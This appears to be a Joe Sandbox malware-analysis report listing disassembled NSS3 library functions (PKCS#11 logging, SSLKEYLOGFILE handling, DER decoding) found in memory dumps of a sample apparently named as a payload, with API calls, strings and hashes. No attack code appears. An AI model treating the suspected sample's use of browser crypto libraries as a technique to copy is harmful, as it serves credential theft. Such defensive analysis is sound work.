Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C3F316D

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 52e4ee0f66efcd2d59800eb6b666dd58af6a1f18b989b4fc78e6a3616f2e2c07
Instruction ID: e0cbed0fb27af7656bc0491fc8155058f954811ecdab6a2cb028f41e04ae852e
Opcode Fuzzy Hash: 52e4ee0f66efcd2d59800eb6b666dd58af6a1f18b989b4fc78e6a3616f2e2c07
Instruction Fuzzy Hash: 7CF19DB1D002099FEB00EF64D844A9ABBB4FF09318F154569E815AB711E732A996CF92

Function 6C3E8820 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6C3E8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E8883

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6C3E88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6C3E88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C3E88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6C3E8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6C3E8979

Strings

*pulPartLen = 0x%x, xrefs: 6C3E8974
ulEncryptedPartLen = %d, xrefs: 6C3E88CE
(CK_INVALID_HANDLE), xrefs: 6C3E887C
pulPartLen = 0x%p, xrefs: 6C3E8902
nLl, xrefs: 6C3E8921, 6C3E8955
pEncryptedPart = 0x%p, xrefs: 6C3E88B5
C_DecryptVerifyUpdate, xrefs: 6C3E8841
pPart = 0x%p, xrefs: 6C3E88E7
hSession = 0x%x, xrefs: 6C3E885E, 6C3E886E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate$nLl
API String ID: 1003633598-1103475810
Opcode ID: 2c981ed340ba4f083bd5c180c98b9623827a8edc3ad9ad79ca5b0e713eb3ed85
Instruction ID: 2cdef0a83fb29b64aaf675a8606f76221cf4a497445f176242ce3d3a6e327616
Opcode Fuzzy Hash: 2c981ed340ba4f083bd5c180c98b9623827a8edc3ad9ad79ca5b0e713eb3ed85
Instruction Fuzzy Hash: BB41A275E41154AFDB00DB58DD4DF8A37B1EB4A21CF06406AF808A7E21D7319918CFA7

Function 6C3E6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C3E6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E6DC3

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C3E6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C3E6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C3E6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C3E6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C3E6EB9

Strings

pDigest = 0x%p, xrefs: 6C3E6E27
ulDataLen = %d, xrefs: 6C3E6E0E
*pulDigestLen = 0x%x, xrefs: 6C3E6EB4
(CK_INVALID_HANDLE), xrefs: 6C3E6DBC
C_Digest, xrefs: 6C3E6D81
nLl, xrefs: 6C3E6E61, 6C3E6E95
pulDigestLen = 0x%p, xrefs: 6C3E6E42
pData = 0x%p, xrefs: 6C3E6DF5
hSession = 0x%x, xrefs: 6C3E6D9E, 6C3E6DAE

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nLl
API String ID: 1003633598-1784215062
Opcode ID: 9fcb11db2fc52161d2defe2ed3852de32c0ce0e3886e8849955bfe72cfe59134
Instruction ID: 5323343758a77ee632c8611568ab6b04603e9097384d2dcac861daca61548edc
Opcode Fuzzy Hash: 9fcb11db2fc52161d2defe2ed3852de32c0ce0e3886e8849955bfe72cfe59134
Instruction Fuzzy Hash: 2741D475A41158AFDB00DF54DD4EF8A3BB1EB8631DF464019E908A7E22DB319818CF97

Function 6C3F4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3F4C4C
EnterCriticalSection.KERNEL32(?), ref: 6C3F4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4DB7

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07AD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07CD
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C33204A), ref: 6C3A07D6
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C33204A), ref: 6C3A07E4
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,6C33204A), ref: 6C3A0864
Part of subcall function 6C3A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C3A0880
Part of subcall function 6C3A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C33204A), ref: 6C3A08CB
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08D7
Part of subcall function 6C3A07A0: TlsGetValue.KERNEL32(?,?,6C33204A), ref: 6C3A08FB

TlsGetValue.KERNEL32 ref: 6C3F4DD7
EnterCriticalSection.KERNEL32(?), ref: 6C3F4DEC
PR_Unlock.NSS3(?), ref: 6C3F4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C3F4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3F4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C3F4E71
free.MOZGLUE(00000000), ref: 6C3F4E7A
PR_Unlock.NSS3(?), ref: 6C3F4EA2
TlsGetValue.KERNEL32 ref: 6C3F4EC1
EnterCriticalSection.KERNEL32(?), ref: 6C3F4ED6
PR_Unlock.NSS3(?), ref: 6C3F4F01
free.MOZGLUE(00000000), ref: 6C3F4F2A

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 0e78a91f97ea5ba743bb0fe1cea5a08ebd77ad77c0c819d55a87862ce8cbed7d
Instruction ID: 95d995796d65083bda7ea53d1cb42c06694614417b288bcd49fb35f99257f9ed
Opcode Fuzzy Hash: 0e78a91f97ea5ba743bb0fe1cea5a08ebd77ad77c0c819d55a87862ce8cbed7d
Instruction Fuzzy Hash: 6AB10771A002059FEB00EF68DD45AAA77B4FF06318F054528ED259BB01E735E966CFE2

Function 6C446E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C446BF7), ref: 6C446EB6

Part of subcall function 6C3A1240: TlsGetValue.KERNEL32(00000040,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A1267
Part of subcall function 6C3A1240: EnterCriticalSection.KERNEL32(?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A127C
Part of subcall function 6C3A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A1291
Part of subcall function 6C3A1240: PR_Unlock.NSS3(?,?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C4EFC0A,6C446BF7), ref: 6C446ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C446EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C446EFC
PR_NewLock.NSS3 ref: 6C446F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C446F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C446BF7), ref: 6C446F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C446BF7), ref: 6C446F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C446BF7), ref: 6C446FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C446BF7), ref: 6C446FFD

Strings

NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C446F4F
SSLKEYLOGFILE, xrefs: 6C446EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C446EF7
SSLFORCELOCKS, xrefs: 6C446F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C446FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C446FF8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: bdc463326a11b4762e1ca8b0c9f6886133eb896db54bc7a4e8001396d37804c1
Instruction ID: 26cc744b2e6313b2803d09645cb0f2fa98242c9b3730e2981ddb8b9171edbf59
Opcode Fuzzy Hash: bdc463326a11b4762e1ca8b0c9f6886133eb896db54bc7a4e8001396d37804c1
Instruction Fuzzy Hash: BDA1E2B2A6988086F610C73CCC06F8437A2EB9336AF79C365E97186FD5DB359452C246

Function 6C3E4E60 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C3E4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E4EC7

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C3E4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C3E4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C3E4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C3E4F68

Strings

C_GetAttributeValue, xrefs: 6C3E4E7E
ulCount = %d, xrefs: 6C3E4F63
hObject = 0x%x, xrefs: 6C3E4EF5, 6C3E4F05
(CK_INVALID_HANDLE), xrefs: 6C3E4EC0, 6C3E4F13
nLl, xrefs: 6C3E4F82, 6C3E4FB2
pTemplate = 0x%p, xrefs: 6C3E4F4A
hSession = 0x%x, xrefs: 6C3E4EA2, 6C3E4EB2

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue$nLl
API String ID: 1003633598-540650198
Opcode ID: 76d2a0d3e5cc90ea0b27bf1254f92db48dbb1815311e00db3762f42f17c9f107
Instruction ID: 6bffa2b66e9c4ca84fd21ff55aa0b462fb938c3a5b5040ab10ca57dd50a9bcd7
Opcode Fuzzy Hash: 76d2a0d3e5cc90ea0b27bf1254f92db48dbb1815311e00db3762f42f17c9f107
Instruction Fuzzy Hash: 0541E274641154AFDB00DB94DD4DF9A37B5EB8A31DF06802AF80867E21DB30A919CFA6

Function 6C3E4CD0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C3E4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E4D37

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C3E4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C3E4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C3E4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C3E4E20

Strings

hObject = 0x%x, xrefs: 6C3E4D65, 6C3E4D75
(CK_INVALID_HANDLE), xrefs: 6C3E4D30, 6C3E4D83
nLl, xrefs: 6C3E4DD4, 6C3E4DFF
*pulSize = 0x%x, xrefs: 6C3E4E1B
C_GetObjectSize, xrefs: 6C3E4CEE
pulSize = 0x%p, xrefs: 6C3E4DB7
hSession = 0x%x, xrefs: 6C3E4D12, 6C3E4D22

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize$nLl
API String ID: 1003633598-895256031
Opcode ID: 33bdaaa0e45d351ed2936eba98dcabf64539e675d11a86035d38ccf14b532c31
Instruction ID: 6cf4e54e6fcff53fea48934282f379425b473fbca558220ceb3659268837a201
Opcode Fuzzy Hash: 33bdaaa0e45d351ed2936eba98dcabf64539e675d11a86035d38ccf14b532c31
Instruction Fuzzy Hash: CA41E675640254AFDB00DB94DD8DF6A37B5EB4A31DF06402AE4086BE22DB309918CF97

Function 6C3E2F00 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C3E2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E2F63

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C3E2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C3E2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C3E2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C3E2FE7

Strings

C_SetPIN, xrefs: 6C3E2F21
pOldPin = 0x%p, xrefs: 6C3E2F95
ulNewLen = %d, xrefs: 6C3E2FE2
(CK_INVALID_HANDLE), xrefs: 6C3E2F5C
nLl, xrefs: 6C3E2FFF, 6C3E3030
pNewPin = 0x%p, xrefs: 6C3E2FC9
ulOldLen = %d, xrefs: 6C3E2FB0
hSession = 0x%x, xrefs: 6C3E2F3E, 6C3E2F4E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN$nLl
API String ID: 1003633598-3355925360
Opcode ID: 04a857aee3fef159d28bc2fd09f060c3c5b9fc70a6e2608d3fe7eadea2d64ca5
Instruction ID: c437383dfa90bb96cef7ca89604820ee7b3c9992ff601dbafc14aa0df066450b
Opcode Fuzzy Hash: 04a857aee3fef159d28bc2fd09f060c3c5b9fc70a6e2608d3fe7eadea2d64ca5
Instruction Fuzzy Hash: D6312475641195AFDB00DF10DD4DF8A37B1EB4A32DF0A401AE808A7E21DB319819CFA6

Function 6C408E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C408E01,00000000,6C409060,6C510B64), ref: 6C408E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C408E01,00000000,6C409060,6C510B64), ref: 6C408E9E
PORT_ArenaAlloc_Util.NSS3(6C510B64,00000001,?,?,?,?,6C408E01,00000000,6C409060,6C510B64), ref: 6C408EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C408E01,00000000,6C409060,6C510B64), ref: 6C408EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C408E01,00000000,6C409060,6C510B64), ref: 6C408ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C408E01,00000000,6C409060,6C510B64), ref: 6C408EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C408E01), ref: 6C408EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C510B64,6C510B64), ref: 6C408F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C408F3F

Part of subcall function 6C40A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C40A421,00000000,00000000,6C409826), ref: 6C40A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C40904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C408E76

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f14ec0f56e54f1e7b16ac18287192359b16f9bae6b4515465b53c854bbccd217
Instruction ID: 3033d43075d4a234a7a770f2f3f3babc7753f451657409a772e6ea3681f1a42d
Opcode Fuzzy Hash: f14ec0f56e54f1e7b16ac18287192359b16f9bae6b4515465b53c854bbccd217
Instruction Fuzzy Hash: 7F61BEB5E012069BDB10CF65CC80EABB7B9EF95359F144128EC18A7711E732A915CBE1

Function 6C3B8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3B8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C3B8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C3B8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C4E18D0,?), ref: 6C3B8F03
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3B8F19
PL_FreeArenaPool.NSS3(?), ref: 6C3B8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C3B8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C3B8F65
PL_FinishArenaPool.NSS3(?), ref: 6C3B8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C3B8FFE
PR_CallOnce.NSS3(6C512AA4,6C4112D0), ref: 6C3B9012
